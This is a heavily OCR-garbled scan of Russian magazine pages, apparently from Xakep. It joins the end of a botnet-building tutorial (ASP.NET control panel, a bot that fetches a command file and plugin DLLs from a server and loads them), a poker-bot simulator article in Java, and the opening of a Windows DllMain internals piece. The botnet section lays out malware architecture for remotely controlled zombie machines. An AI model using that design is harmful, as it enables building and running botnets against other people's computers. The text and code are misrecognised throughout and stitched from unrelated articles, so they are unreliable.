соок1еАц|ьеп[ 1саг ;оп . Реа|гес|. ггоп!о9|пРа9е (
1]5ег!о91п. уа1ше, [гце ) ;
)
е15е {
/,в|,1вод сообш(ет:;::т о ]!|]11|)ав]:]1',|1о в0Ёдс]1:]:!]_. ;!1]:]:1,|}:
)
)
</5сг|р[>
в А5РшЁт различают два вида авторизации, которь!е определяют, есть
ли у клиента соответствующие права на досцп к запрашиваемому [!Ё|,
где хранится файл с командами: [.]Ё| и [![е. Ёам интересен первь:й
способ управления досцпом' позволяющий проводить разграниче-
) 106
₠хема децентрализованной топологии
ние доступа клиента к ресурсу в зависимости от его имени и роли.
|апример. следующая конфицрация разрешает досцп к |..]Р| всем
клиентам' прошедшим адентификацию' и запрещает всем остальнь!м:
<ац|ьог;7а[|оп>
<а11оы ш5ег5: '' * |! ,/ >
<оепу ц5ег5="?'' '/>
</а!|пог|7ас1оп>
<[!илить" административную часть ботнета мохно не менее продолхи-
тельное время, чем самого бота, тем более. если в распоряхении
имеются интереснь1е технологи защить ве6_прилохений А5Р\Ё1. поэ-
тому мь! не будем пь:таться обьять нео6ьятное' а перейдем к ключевой
насти - боц.
Б0т в РА3Ргзг
[1юбой современнь й 6отнет долхен подразумевать расширение своего
функционала. 3анем? !у' например' если у бот_мастера возникло хела-
ние переквалифицировать свою армию зомби в сеть распределеннь!х
вь;числений, которая 6удет моделированием последствий ядернь х
взрь!вов. ['1лагинная архитекцра позволяет <развязать> руки админи-
стратору сети и наращивать или обновлять функционал по мере необ-
ходимости. !чить вая даннь;й факт' составим алгоритм действий нашего
бота:
1. полунение командь! от сервера:
2. обработка командь ' то есть ее классификация на <известную> или
< неизвестную>;
3. о6работка соответствующим о6разом параметров командь1 в зависи-
мости от ее типа;
4. вь полнение командь!.
['1олунение команд заключает в скачивании текстового файла с сервера
[сопгпап6.{х1]. Реализацию скачивания файла 6ерет на себя функция
нттРоош1оас(с']:а; *Р|]е{-]г1, с.::а:- *г!1ешапе). !анная функ-
ция такхе используется и для скачивания нео6ходимь;х .6[[ для ботнета.
! решил не заниматься рриной, ра6отая с сокетами, а воспользоваться
стандартной библиотекой, которая прислствует в \:!!п0отмз: тм!п!пе{'6|{.
!анная 0![ представляет собой АР! для досцпа к общим протоколам
интернет' включая гтР' нттР и оорьег 3то вь;сокоуровневьтй АР!'
позволяющий, в отличие от !!!п5ос[ или ]|Р||Р ' не заботи п ься о дета-
лях реа лизации соответствую щих и нте рнет- п рото кол ов'
х^к₠Р 08 /139/ 10
BemeP34 for Journal-plaza.net
Результат работь: генератора псевдослучайнь:х чисел
,!'ля полунения команд бот долхен периодически
соединяться с сервером' скачивать команднь:й файл
и соответствующим спосо6ом его обрабать:вать. ['1од
о6работкой мь! подразумеваем действие. в результате
которого бот полунает две строки: название командь1 и
строку, содерхащую параметрь: к ней' перенисленнь:е
через символ пробела. (оманднь:й файл имеет следую-
щую структуру:
фру:сцра коиандного файла
<команда(1)> [параметр(1) ] [параметр(2) ] ...
|параметр(|) ]
<команда(2)> [параметр(1) ] [параметр(2) ] ...
[параметр(]) ]
<команда(к)> [параметр(1)] [параметр(2)] ...
[параметр ( п) ]
где 1' .!, }< меняются в интервале [']; бесконечность].
!ействия 6ота таковь::
1. вь;деление [-ой строки;
2. передана вь;деленной строки в функцию' которая реали-
зует подключение библиотеки, необходимой для вь!полне-
ния командь! {функция Р1цо!1бтату ( ) |;
3' Р1!9!|ьтац/ ( ) соответствующим о6разом интерпре_
тирует строку и вь!полняет необходимое действие' завися-
щие от типа командь!'
['1арсинг соппап0.1х1 реализует функция Ратэе (с:1т.:т'
*г]1ешапе).
8 слунае необходимости подключения скачанной 0[['ки
с целью расширения функционала' функция Р|ш9|!бгац
вь!полняет следующие инструкции по заранее описанному
интерфейсу подк-''!ючения {он такхе долхен бь:ть оформлен
в самой 0[[]:
'/ /подклю.:ет;гте бт:бтту:отокгт
пР1ц9]п = ]-оао!1ьгагу(о11шапе) ;
//опреде,:ение типа (ое{туре)
[у[]е6с! ]!г (*ое{ъ/ре) (с|аг *);
/'*ог1ределение адреса функшии <<!оас>>,
которую эксг1ор]'1]рует б!1б]]иотека*/
!е'ъ/ре |оаа = (!е''1уре)
х^кЁР 08 /1з9/ 10
сесРгосА6ате5з (БР1ш9|п, "1,оаё'' ) ;
*вьт:зов т|уч::;;:;1''|.оа1(1'' и г{е!)ед.]ч-| ;1а|'а}:-т}]ов
это!; функц;т;т'
]:]| |сосе= (*!оао) (Рагапесг5) ;
Функция | оа6, экспортируемая 6и6лиотекой' содержит
необходимь!е инстРукции' обеспенивающие расширение
функционала основной программь:-бота.
и эт0 т0льк0 нАчм0...
8 статье мь! немного подсмотрели за процесс0м приготов-
ления ботнета по правильному рецепц. !аше внимание
коснулось 6ольшинства аспектов искусства зом6ирования :
проанализировань! основнь!е архитекцрь! 6от-сетей' осу-
ществлена реализация наиболее акцальной тополо! ии
с устранением присущих ей недостатков, рассмотрена
довольно перспективная область использования веб-
сервисов в качес!ве административной панели со своей
защищенной зоной' написан плагиннь:й бот, которь:й
по мере хелания администратора мохет млировать до
неузнаваемости. 14 это только начало' ведь сколько нюан-
сов осталось за кадром| сокрь!тие исполняемого файла в
системе, разделение ботнета на подсети и тому подобньге
задачи, которь!е те6е еще предстоит решить. ! лишь задал
те6е направление двихения, естественно, исключительно в
ознакомительнь!х целях. т
9 эпоху \А/еБ 2.0 популярнь]е сервись| вь!-
полняют роль команднь]х центров
> !п1о
7!нформация пред-
ставлена исклю-
чительно в целях
ознакомления' 3а
незаконное исполь-
зование ее материа-
лов грозитуголовная
ответственность.
> 6у6
|а диске тебя хдут
исходнь!е кодь: бота
и генератора доменов
в виде проекта для
й5 !|зца | 5!ц6|о 201 0.
> (!п]<в
. [:тт!://шшш. ха!ер.
|ц1ща9а/|це7
х'а|128|056|1 .аэр
- статья "3ечнь;й
6отнет: принципь;
защит6;6ольших бот-
сете й '.
.]:!ф]1шэ6п.
|!|с:]о зо [! ' со гп/гш - гш/
[1 б га гу16 633 593!.
а5-р{ - разработка
и разверть!вание
защи щен н ь:х шеБ-
прилохений для А5Р.
|\]гт
нь!х вь1числении' а
такхе задать вопрось!
и поделиться иАеями.
> 1о7
BemeP34 for Journal-plaza.net
] Аверин "] п" Ёвгений
,;
-
/*,
т|т
симшя
п0кгРн0
сьап9евоагосаг6(1:;т [ ] 5оаг6) - метод вь!зь!вается при
изменении карт на столе, сьап9еРос (;п! рос) вь!зь!вается
при изменении размера банка' спап9емопеуФ!Р1ауетв ( ];тг [ ]
попеу ) вь!зь!вается при изменении количества денег игро-
ков, ро5| о' 1 1егме3Ба9е (' |г г | т:с1 пезза9е ) вь!зь!вается при
отправке соо6щений дилера' сьап9е!' 1 1егРо5 '[. |оп ( ]1 11:
ро3о!оеа1ег) вь!зь!вается при изменении позиции дилера'
спап9еР1ауег5[а|ц5 ( !111 р1ауег, ])1] 5сасц5, 1пг [ ] 1-тап6)
вь!зь!вается при изменении стацса игрока.
схгмА симулят0РА
(ак известно, правила покера неоднороднь! и склоннь! друг от друга
отличаться. Ёапример' в круге торговли.1ак' по правилам с сайта
Ро[ег5{агз после первого круга торговли первь!м ходит активнь;й игрок
слева от дилера, а по другим правилам первь!м ходит игрок слева от
игрока, которь:й ходил первь!м на прошлом круге торговли' 8 симулято-
ре реализовань! правила Ёо[6еп Ро[ег с сайта Ро[ег51агз. ['1о размеру
ставок будем делать не \о[[гп!| и не |!гп!1, а кое-что свое - ограничим
размер рейза текущей ставкой.
8сего логик семь: А99ге55[уе|о9|с |разь;грь:вает дахе сла6ь;е руки],
₠аш[1ошэ[о9!с [разь:грь:вает только сильнь!е руки), Ра1!опа[!_о91с [дей-
ствует рационально)' Ра!зе|о9!с [все время повь!шает ставку)' [а!|[о9!с
[все время поддерхивает ставку)' Ро!6|о9!с [все время с6рась:вает),
Рап6огп|о9!с [случайно ходит].
А99гезз!ме|о9!с, 6аш1[ошэ|о9!с и Ра{|опа[[о9!с используют в принятии
0РгА3мА
8куриваем в к0динг п0кернь!х 6отов:
с03даем симулят0р тренир0вки
8 этой статье мь! рассм0трим с03дание симулят0ра п0кера.1ак как
правила п0кера немн0г0 0тличаются между с060й, т0 в качестве
правил для симуляции мь! в0зьмем правила [!о[{еп }'!о |-|п|! Ро!<ег
с сайта Ро]<ег$!аг$. на 0сн0ве симулят0ра мь| сделаем две игрь| - игра
к0мпьютера с живь!м игр0к0м и пр0ст0 игра к0мпьютернь]х игр0к0в
между со6ой. [!ервая игра нам п0надо6ится для т0стир0вания.
интвРфгйсь|
[оздадим два интерфейса - ![о9|с и ![уеп|5!пш[а|!оп. ['1ервь:й интер-
фейс нухен для того' нтобь; унифицировать вь!зов различнь!х логик.
1о есть у нас имеется один интерфейс' которь:й реализует различнь!е
логики, и нам не нухно 6еспокоиться о хранении различнь!х логик
- мь! храним только массив интерфейсов !|о9!с и вь:зь:ваем метод
этого интерфейса. ! данного интерфейса есть только один метод -
|г)г- 9есАп5шег(!1о.:г р, [1оа:: |о|а18еЁ , []оа:: сцгвес,
'1о.11] ро|, ]пг ьес[;п9, |т:г п|пРа|зе), он возвращает0'
когда нухно сбросить {1о|6), 1 при принятии ставки |са[[] и 2 при
увеличении ставки [га|зе}. |емного упростим модель - при рейзе
не будем вь!ставлять значение ставки' а просто увеличим ставку на
минимально возмохное значение'
Рассмотрим параметрь! этого метода: р - вероятность вь:игрьтша [про
нее читай в статье.Ёатягиваем сетевь!е ро[ег гооп'ь;" в июньском ]
[ или на диске к этому номеру),1о1а[8е1 - все поставленнь!е игроком
деньги за игру, сог8е1 - текущее количество денег, которое нухно
поставить, ро{ - размер банка, бе{{!п9 номер круга торговли,
п!п8а!зе минимальное количество денег, на которое нухно повь!-
сить ставку при рейзе. 8торой интерфейс нухен для создания различ-
нь:х оболонек для симулятора. 8 нашем слуяае 6удет две оболонки - для
игрь! компьютернь!х игроков с человеком и для игрь! компьютернь!х
игроков мехду собой. 8 интерфейсе ![уеп|5|пц[а!!оп определень! мето-
дь!' которь!е позволяют сообщать оболочке обо всех изменениях в игре'
['1еренислим эти методь!:
) 108
х^к₠Р 08 /1з9/ 10
BemeP34 for Journal-plaza.net
чало Раунда ш1
1-с'в? игрок
ьги игРоков:
-ьй 7509
-ьй 7509
-ьй ?5о9
4-ьй 7509
-!'ва 7509
6-ьй 7509
-ьй 75о9
-ьй 7509
-!ла 7509
1-го зсгрока
2-го игрока
3-го игрока
8з 8ё
2з 9з
0Б 19с
Форма Ёо[0еп₠опзо[е
решений формулу р*ро1 = тм!п и сравнивает ш!п со своими ставками. /наче
говоря, использует формулу которую мь! о6сР9али в прошлой статье [если
хочешь освехить память - вставь в свою 38\4 диск к этому хурналу и
зачитай ее]. Ёдинственное, что - 6аш1!ошз|о9|с уменьшает вероятность'
нтобьп разь:грывать меньше рук, а А99гезз!ме[-о9|с увелинивае1 нтобь;
разь:грь:вать больше. 06олочка Ёо[0егп|огп рисует форму на ьтм|п9'е и
реализуетдва интерфейса - !Ёуеп{5|пц[а{!оп и !|о9!с. [1ервь:й интерфейс
нухен для того' нтобь: ото6рахать на форме все со6ь:тия симуляции - раз-
дачу карт' соо6щения дилера' изменения состояний игроков и тд. 8торой
интерфейс мь! создаем, что6ь; пользователь мог соо6щать симулятору свои
действия - Ёо|6' 6а|| или Ра:зе. Форма ото6рахает все карть! игроков и
вероятности их вь!игрь!ша' поэтому она не подходит для несгной игрь: с
компьютером, но зато идеально подходит для отладки симулятора'
|о[6еп[опэо[е просто вь!водит все соо6щения дилера на экран.
п0Ряд0к симуляции
.[ля нанала - небольшой алгоритм. 71так:
1| 0оставить большой и маль:й блайндь;;
2! Раздать карть! игрокам [|1ре флоп);
3| [1ровести круг торговли;
4| |олохить три карть! на стол [Флоп];
5) [1ровести круг торговли;
6] [1олохить четверцю карц на стол [-[ерн|:
7} [1ровести круг торговли:
8! []олохить пяцю карц на стол [Ривер);
9| [1ровести круг торговли:
10! 0ткрь:ть карть! и определить вь!игрь!шную комбинацию.
6оответственно' после кахдого круга торговли нухно проверять' не
остался ли в игре только один игрок. Ёсли да' то весь банк уходит ему
(оличество игроков, которь:е будр играть, равно девяти. 8о время
игрь! их мохет стать меньше, но в начале их будет именно девять. 3то
сделано в целях упрощения симуляции _ не надо заботиться о длинах
масси вов.
к0д симулят0РА
0пределимся с тем' что дол)кен знать симулятор. 8о_первь:х' симу-
лятор долхен иметь следующие даннь!е о6 игроках; их деньги
[попеу0{Р|ауегз], карть: [[тап601Р[ауегз) и их состояние [в игре или
вь:шли] - з1а1е0{Р[ауегэ. 8о-вторь;х, долхен знать позицию дилера
[роз0[0еа|ег), количество денег в банке [ро{), размер большого блайн-
да [б!98|!п6] и текущие карть! на столе {Боаг6).,[ля ра6оть: логики
принятия решений нухно так)<е запоминать, сколько денег полохил
в 6анк кахдь:й из игроков за текущую игру{то:а!8е:)' й самое глав-
х^кЁР 08 /1 з9/ ! 0
ное - симулятор долхен знать' что за игроки играют за столом' то
есть у него долхен бь;ть список всех игроков [р[ауегз!-!з|]. йетодь:,
нухнь!е для симуляции| егаае ( ]п[ ьесс|п9) - метод торговли,
5сагьсапе ( ) - главнь:й метод' в котором происходит игра' 'пс
9ес.51п91еР]аует ( ) _ если в игре остался один игрок' то метод
вернет индекс этого игрока, |п| 9есАсс]_уеР1ауег { ) _ количество
активнь!х игроков в игре. ( этим методам до6авляются несколько 5е{-
методов для изменения значений по умолчанию - Бе!в;9в1|па ( 1п|
Б|9в1|п6), 5есвошпасоцпс ('пс тошпссошп!). йохно сделать
метод по изменению количества денег перед игрой' но я считаю, это
не критично' ведь' в конце концов' это симулятор для тестирования
алгоритмов' а там не вахно' сколько денегу игроков в начале игрь!.
}отя' если делать на основе этого симулятора прилохение для игрь! в
покер, то стоит реализовать даннь:й метод, плюс сделать возмохность
изменения количества игроков в начале игрь!. 1еперь рассмотрим под-
робнее методь: игрь! и торговли.
$тАпт6Ам[
[).1аги симуляции в теории расписань! вь!ше' на практике хе к ним
добавляются следующие действия: обнуление переменнь!х перед
началом кахдого раунда' перемешивание карт перед началом кахдого
раунда, проверка на наличие более одного игрока в игре после ках-
дого круга торговли. Ёебольшое замечание: хотя перемешивание карт
и занимает 6ольше времени, чем вь!таскивание слунайной карть; [как
6ь:ло сделано при опРеделении вероятности вь!игрь!ша в прошлой ста-
тье], более наглядно и удобно это демонстрируется при сдане карт. Ёсли
производительности будет не хватать, то мохно буАет оптимизировать
это] алгоритм.
Ёще мохно свернль код проведения игрь! в цикл, поскольку сейчас там
имеют место повторяющиеся участки с проверками и проведение круга
торговли.0днако, их всего четь!ре, они не занимают много места, и при
сворачивании в цикл нухно буАет изменять алгоритм раздачи карт на
стол' поэтому пока оставим все как есть.
8 исходном коде часто встречается такая конструкция;
х=(х+1)*9;
3та массивная конструкция представляет собой всего лишь цикличе-
ское увеличение 3начения переменной х от 0 до 8-9. 8 данном слунае
оно означает количество игроков за столом.
тпА0Ё
8ходной параметр в методе, которой проводит круг торговли
2-ый
т40
Ф 2. 10.
}ый
7з0
9-ый к' /ю
690
8_ый
750
7-ый
750
6-ый
750
ёоо6щения дипера:
выиФыша 4-го иФока 0.227 4ь897
внигрыша 9-го итр0ка 0.'|8700875
Форма Ёо[0епРогп
) 1о9
BemeP34 for Journal-plaza.net
'/:
гБ;м*щ;1
0хема симулятора
- номер круга торговли.3то 1 (пре-флоп)' 2 [флоп),3 {терн),1*
[ривер). 8 начале метода проверяем на первь й круг торговли'
и если да, то находим позиции малого и большого блайндов
и кладем деньги в банк- !алее происходит сам круг торговли'
11епосредственно перед ходом кахдого игрока проверяются сле
*
#
ББ
| "фпьюъфш | }
| ныфпсфФо |
'у
-г *: -г;:
|ьшы-ш,- |. Р*** [
1!*1.
|| гы]г*. ! ! !
!им!
[й_]__1 .ч. !
!! ! ! |
| памйгощ ]
гБйй;-
| с*пй*ч" [
гпзшъьщ 1
| &$!фс |
Б;;;фй1
| я*фа[фс ]
(с0гвес == 0) {
ь|пса11. зе[тех[ ( ''₠!тес]<'' ) ;
) г. ]:,:, {
ьг.пса11.5е[тех[(',са11 " +
5| г!п9. уа10еог ( сшгве[ ) )
)
ьспса11. 5е|у|з|б1е ( [гше ) ;
ь[пго1а. 5е[у'Б1ь1е ( сг!е) ;
ьепР]азе. 5е!у15|ь1е ( [{!е ) ;
ь[пР1а5е.5е[техг (''Ра1зе '' +
5сг;п9.уа10ео' (сцгве| + п|пРа'5е) ) ;
!гапе.гера!п[();
ас[1оп = _1;
:,]:11,., (д61!91 -= 1) {
1!.'{
тьгеао.51еер(500);
} ,:.:;:'], (тп|еггшрсесвхсер['оп е) {
е.рг'пс9сасктгасе ( ) ;
)
!гапе.гера|п|();
]
ьспса11. $е[у|5]ь1е ( га15е) ;
ь['пго1а.5е[у15'ь1е ( {а15е) ;
ьспР ! а3е. 5е|у! 5'ь1е ( { а_[зе) ;
Ёгапе.гера|п[();
] с1_'1 1 ас[{оп;
]
дующие параметрь1: больше ли одного игрока в игре, мохет ли
текущий игрок играть. ['1ри повторном круге торговли !!р0веряет_
ся. не равна ли ставка текущего игрока максимальной ставке (то
есть нухно ли игроку еще вкладь!8ать деньги в банк]' и есть ли у
игрока вообще деньги.
[!роверки перед началом торговли
- 1 ;::"|.111.1'':1 :|!1;:.-1 :; !:.' : ] :: 1, ,1_,1
с0гР1ауег = (сшгР1ауег + \) % 9;
;] (9ес5'п91еР1ауег() |= _1) {
бгеа(;
)
]: (5|а[ео|Р1ауег5[сшгР1ауег] == , ,; ) {
'1',
)
|: ( (гереастгаое --
) 110
-= пахБе[)) (
] ];
(попеуогР1ауег5[сцгР1ауег] == 0) {
]!осле этих проверок мохно переходить непосредственно к определе
нию текущего хода игрока. !ля этого вь]числяем вероятность вь!игрь!-
ша игрока на основе его карт' карт на столе и количества игроков и
вь зь!ваем метод интерфейса ![о9!с для определения хода игрока:
вь!зов методов расчета вероятности и принятия решений
р= 1о9|с . 9е[ Ргоьаь1 1 ' [уогш|п (
}:ап6ФЁР1ауегз [сцгР1ауег], ьоаго,9есАс[|уеР1ауег5 ( ) ) ;
ас|. 'оп-р1ауег5!|5| . 9е[ ( сцгР1ауег ) . 9е|Ас| |оп (р,
|о|а1вег [сшгР1ауег] + ьесогР1ауег5 |сцгР1ауег] ,
пахве[ ье[о{ Р1ауег5 [ сцгР1ауег], ро|, ьег[ ]п9,
пахБе[==0 ?б|9Б1:!п6 : пахБе| ) ;
йетод расяета вероятности вь зь1вается со следующими параметрами:
текущие карть! игрока' карть] на столе и количество активнь;х |тех' кто
не сбросил карть:] игроков в игре
['1ервь:й параметр в методе 9е|Ас1!оп - вероятность вь!игрь ша;
второй - сумма всех поставленнь!х денег за прошль!е круги тор-
говли и поставленнь|х денег на текущем круге торговли; третий
параметр - то количество денег' которое нухно поставить игроку'
нтобь: уравнять ставки, то есть разность мехду максимальной
ставкой на текущем круге торговли и текущей ставкой игрока;
яетверть;й параметр размер банка; пять й - номер круга тор_
говли. шестой _ минимальное количество денег' которое нухно
поставить при рейзе. 3десь мь: приняли его как значение мак-
симальной ставки за текущий Рруг торговли или' если эта ставка
равна нулю, размер большого блайнда. [1осле полунения действия
от игрока [переменная ас|!оп] вь:полняем это действие. Алгоритм
таков: если игрок сделал [о[0. то делаем его неактивнь|м; если
са[[' то сначала проверяем, мохет ли он поставить день1и' или
сразу идет а[[-!п' а потом вь полняем требуемое действие' то есть
или ставим часть денег' или ставим все, что есть; если га!зе, то
сначала уравниваем ставку игрока до максимальной ставки' а
потом ставим оставшуюся часть денег' требуемую для рейза. 8
о6щем слунае при ставке следует проверять' есть ли тре6уемая
сумма на счетуу игрока. если нет' то ставим все оставшиеся день
ги [а|[-!п]. ['1осле проведения ставок всех игроков проверяем, все
ли игроки поставили одинаковое количество денег. Ёсли кто то не
поставил, и у него при этом еще есть деньги' проводим повторнь й
круг торговли.
симуляция
['1еред наналом игрь! нухно до6авить игроков. 3то делается следующим
образо м:
!обавление игроков для игрь: в Ёо[6еп|оггп
!;Б[<т!о9|с> р1ауегз!|5[=пеш Аггау!|5с<]!о9|с> ( ) ;
р1ауег5!'Б!. а60 ( !гапе) ;
р1ауегз!|з[.а06( го10!оо|с ( ) );
р1ауег5!|5[.ааа(' : (аш||ошз!о9|с() ) ;
р1ауег5!;5с. асо (]. са11!о9|с ( ) ) ;
р1ауег5!|51-.а06(:' Ра[]опа1|о91с() ) ;
р1ауег5!'5| .а60('- А99ге5Б{уе!о9|с() ) ;
р1ауег5!|5|.а6ё(: саш!.'оц5!о91с());
р1ауег5!|5с .а0ё(:' А99ге551уе!о9'с() ) ;
р1ауег5!|5[. а00 (: '-' Р.а|5е[о91с ( ) ) ;
8о второй строчке мь! добавляем в качестве игрока текущую форму это
0значает' что все методь] принятия решений для первого игрока будут
1' 1' 1 : :| ]], 9есАс[]оп (
сштве[ , :]с;,'. ро[, :
]'1- р, ].(],,]]
ьесс1по, , ]]
[о|а1ве[, :
п|пР.а1Бе) 1
) && (ьес'огР1ауег5 [сцгР1ауег]
х^квР 08 /1з97 10
BemeP34 for Journal-plaza.net
[1равила покера:
пс[р: / /пиш. рокегьопц9 . ог9. ша/пепц,/ргау' 1а. ьсп]
п| ср : / /ш. се}:авэ}<|у-}:о16еп. {п! о/
ь!|р: / /м. рокег5саг5. соп/тц7рокег/9апе5/
сехаэ -по16еп,/
Фундаментальная теорема покера :
пс ср : / /рокег _ш|}<! . тш/ро}сет7Фундаментальная_
теорема-покера
8ики по покеру:
ь|ср : / /рокег-ш]]<]- . гц7
вь!зь!ваться из этой формь:. 0н, в свою очередь, будет спра-
шивать пользователя, что делать - |о|0' са|| или га!зе.
,{ля нанала проведем игру мехду человеком и компью-
тернь!ми игроками, проверим ра6оту правил симуляции
- как раздаются карть1, как ходят игроки' как происходит
смена дилера' ! ошибок не нашел' но они наверняка
там есть. ['1оэтому если ть! что-то нашел' или у тебя будщ
предлохения по улучшению программь!, пиши мне на
1!гп гезе10 па |[. гц
[1еренислю некоторь!е неточности в симуляции, нтобь;
знать' где мохно доделать симулятор:
1) Фиксированное количество игрок0в. йохно сделать от
двух до десяти.
21 8 Ёо|0епЁогп не отобрахается фишка дилера, хотя
метод сБап9е0![[егРоз|1!оп при смене дилера вь!зь!-
вается. !ухно до6авить на форму возле игрока-дилера
п о м етку.
3] Фиксированное количество денег в начале игрь:. йохно
сделать изменение этог0 значения перед игрой'
4} 1олько цель!е значения большого и малого блайнов'
6делать тип {[оа{ для них. !п{ бь:л вь:бран только из-за
производительн ости... и то' наверное, это спорнь:й вь:бор.
5| Ёеправильнь:й вь:6ор минимального значения ставки
при рейзе. [дела: ь вь|числение минимального рейза по
правилам. 6сь;лка на них есть в статье.
6) Фиксированное увеличение ставки при рейзе. 6делать
значение рейза динаминеским - от минимального значе-
ния до максимального.
7} ['1ри открь:тии карт' если есть игроки с одинаковь!ми
картами, вь!игрь!вает только первь:й игрок. [т;1охно это
исправить, нтобь: вь;игрь:ш делился поровну мехду игро-
ками. {,отя эта оши6ка будет повторяться нечасто |все-таки
вероятность того' что у игроков будщ две одинаковь!е по
силе комбинации' мала]' лучше все хе реализовать ее по
правилам. [1осле того, как бь:л протестир0ван алгоритм
симуляции, запустим несколько десятков раундов в оболоч-
ке Ёо[6еп[опзо[е. 14гроки там распределень! следующим
о6 разом:
,|о6авление игроков для игрь: в Ёо[6егп₠опзо[е
р1ауег5!|9ь.аёё(пеп Ра!|опа1ьоч1с ( ) ) ;
р1аует5!|5с.ааа(пеы го1о!о91с ( ) ) ;
р1ауег5!!5с. ааа (пе!! сацс!оц5!о9|с ( ) ) ;
р1ауег9!'5!' а66 (петт са111,оо]с ( ) ) ;
р1ауег5!!5!. аё6 (леш саш[|ошв!о9|с ( ) ) ;
р]ауег5!15! .аёё(ттетт А99гевэ|уе!о9|с ( ) ) ;
х^кЁР 08 /1з9/ 10
р1ауег5!!5[.ааа(]1е!/ капаоп|о9|с() ) ;
р1ауегз!{5!.аос{пе11 А99ге3э1те!о9|с { ) ) ;
р1ауег3!;3с.аса (пе!] па'5е!о91с ( ) ) ;
50 раундов на моем ноле вь!полнялись около ] 5 минщ. 8
принципе' приемлемое значение. (оличество денег после
49 раундов следующее {начальное количество у всех оди-
наково - $750]:
1_й _ $580
2-й _ 5590
3й_$570
4-й _ 52220
5-й - $57о
6-й - $680
7-й _ $0
в_й - $750
9'й _ $79о
['1 осле второй симу ляции :
1-й $570
2-й - 556о
з_й _ $580
4-й _ 52450
5_й - $590
6_й _ $1110
] й _ $0
8 й _ $890
9-й _ $0
вь]в0д
1еперь самое главное - интерпретация результатов.
8ь:ше мокно заметить' что самь:й успешнь:й игрок
- [а|||о9!с, за ним следует Ра!зе[о9!с [в первом
слунае! и А99геээ!ме[о9|с [во втором слунае)' [')онему
так? 8едь самь:й оптимальнь:й алгоритм у нас - это
Ра1|опа[|о9!с и' по идее, он долхен всех обь:грь:-
вать? [а' это так, но на данн0м этапе эт0т алгоритм
не учить!вает одной вахной составляющей - исто-
рии рук, то есть того, как ходят остальнь!е игроки
при тех или инь!х картах и текущих ходах игроков. А
ведь история рук позволяет узнать, что значат ходь|
игроков - блефуют ли они (то есть колируют и рей-
зят со сла6ь:ми руками) или у них действительно
сильнь!е карть:. Больше информации об игроках' по
теореме покера' приводит к лучшим ходам. 1ак как
он это не учить|вает' а основь!вается только на став_
ках и размере 6анка, то получается, что он много рук
не разь!грь!вает' а сбрась:вает' 8 отличие от других
игроков - [а|||о9[с' Ра{зе[о9!с и А99гезз!ме|о9!с.
0ни хе разь:грь:вают 6ольшой диапазон рук' !о есть
6лефуют. (стати, хотел 6ь: сделать не6ольшое замеча-
ние к своей прошлой статье. 8 условии определения
действия вместо 58 нухно исп0льзовать п!п&а!зе'
где гп!пРа!зе - минимальнь:й размер ставки' которь:й
нухно сделать при рейзе' 0н равен последней ставке
игрока' которь!й ходил до нас. 8 общем, твори' дора-
бать;вай логику и обязательно пиши нам письма, ведь
именно благодаря твоим отзь!вам - от критичнь!х и
дахе агрессивнь!х до позитивнь!х и дахе благодарнь;х
,) - мь: приняли решение и дальше развивать тему
кодинга покернь!х ботов. Ёсли все пойдет нормально'
'1о в следующей статье мь! реализуем взаимодействие
с клиентом покер-рума - счить!вание информации и
нахимание на кнопки. =
> !п{о
['1ока в симуляторе
есть неточности'
но если их ис-
править и сделать
хороший интерфейс
!о[6егпЁогп' то
мохно будет ис-
пользовать его для
тренировки игрь!
в покер.
р 0у0
Ёа диске тебя хдут
исходники.0ни сна6-
хень: подробнейшей
документацией
в формате..)ама0ос
и комментариями
в коде' так что разо-
6раться с ними не
составиттруда' 1екст
прошлой статьи
лехиттам хе.
> [!п&з
\4ного документации
по покеру на сайте
ь !| р://р о ке г-ш1и !. г!
> 111
BemeP34 for Journal-plaza.net
Бот и сегодня мь!' наверное' не 6удем разговаривать на какую-то кон-
кретную тему. йь; просто немного полазаем в потаенном саду \:!!п0ошз,
забравшись цда через потаенное окно дебаггера :]. | попробую рас-
сказать о скрь!ть[х местах, странностях и неизвестностях операционной
системь! \.4/!п0отмз. 3ти знания помоуг тебе, как программисц, лучше
знать' понимать и использовать эти самь]е потаеннь!е места в своих
грязнь!х целях'
ввгдгниЁ
.|ахе по прошествии многих лет' потраченнь1х на изучение внрренностей
операционной системь! и системного кодинга. понимаешь. что постичь
все тонкости 0[ вряд ли удастся. | не имею в виду именно се6я такого
мнения придерхиваются многие программисть!' с которь!ми я знаком'
['1ри этом зачасцю единственнь!м инструментом' позволяющим вь!пь1тать
те или инь|е секреть! операционной системь:' становится отладчик или
дебаггер. [отя не все любят возиться с отладчиком' полохения де]| э.0 не
меняет - если хочешь находить, простите за каламбур, потаеннь]е окна в
\.4/!л6оииь - без него не о6ойтись' !4'так, начнем.
3Агм0чнь!й пдрдмгтр !_РпЁ$Ёпу!0 в 0!-!-мА!ш
8сем нам известна точка входа при старте 6и6лиотек - 0||йа!п:
воо! !]]шАР] о11ма1п(
-1п н1ш5тА1'тсв ь'пз[о!!,
> 112
@@
} [тивена (инга есть пр0и3ведение <[!отаенн0е 0кн0, п0таеннь|й
сад>>. }!е могу ска3ать, чт0 я лю6лю тв0рчеств0 3т0г0 писателя, н0
если ть! не читал эту книгу, наст0ятельн0 с0ветую найти и пр0честь.
0чень занимательная и 0дн0временн0 пугающая книга. 8 ней со
всей присущей [тивену (ингу ужасающей крас0т0й изложения
расска3ь|вается 0 т0м, какие тайнь| м0жетхранить в се6е с03нание
лю6ого чел0века.
-'п ошоРп ашР.еа5оп.
-|п !Руо]! 1рР.е3егуео
);
[1ринимает она [тонка входа) три параметра. 6 первь:ми двумя все
понятно, но как бь:ть с третьим? [,4 действительно' зачем нухен этот
параметр [рРезегме0, если нигде в коде при инициализации 6иблиотеки
он больше не используется? 0казь:вается не все так просто, как пь}тает-
ся это показать \4!сгозо{1.
й50\ щверхдает' что этот параметр используется при загрузке/вь:груз-
ке 6иблиотеки; в частности' при статических операциях 6иблиотеки этот
параметр содерхит отличное от нуля значение' 71, нао6орот' лри дина-
мических операциях [рРезегме6 будет равнь:м нулю.
0ткрою страшную тайну: [рРезегте0 есть ничто иное' как указа-
тель на контекст старцющего процесса' которь:й грузит 6и6лиотеку!
['1одро6ности таковь]: при старте нового потока ядро ставит его в
очередь для исполнения в виде АР[ - АзупсРгосе6шге6а[[, которь:й
передается в функцию |6г!п!1!а[!:е1Бшп[, которь;й вь!зь!вается \|6[|.0||.
0дним из параметров, которь:й передается |6г! п||!а|!:е1Бшп}<' является
указатель на струкцру с0штгхт' которая опись!вает начальное состоя-
ние потока - регистрь!, даннь!е и т'п. [1осле вь!полнения АР[, контроль
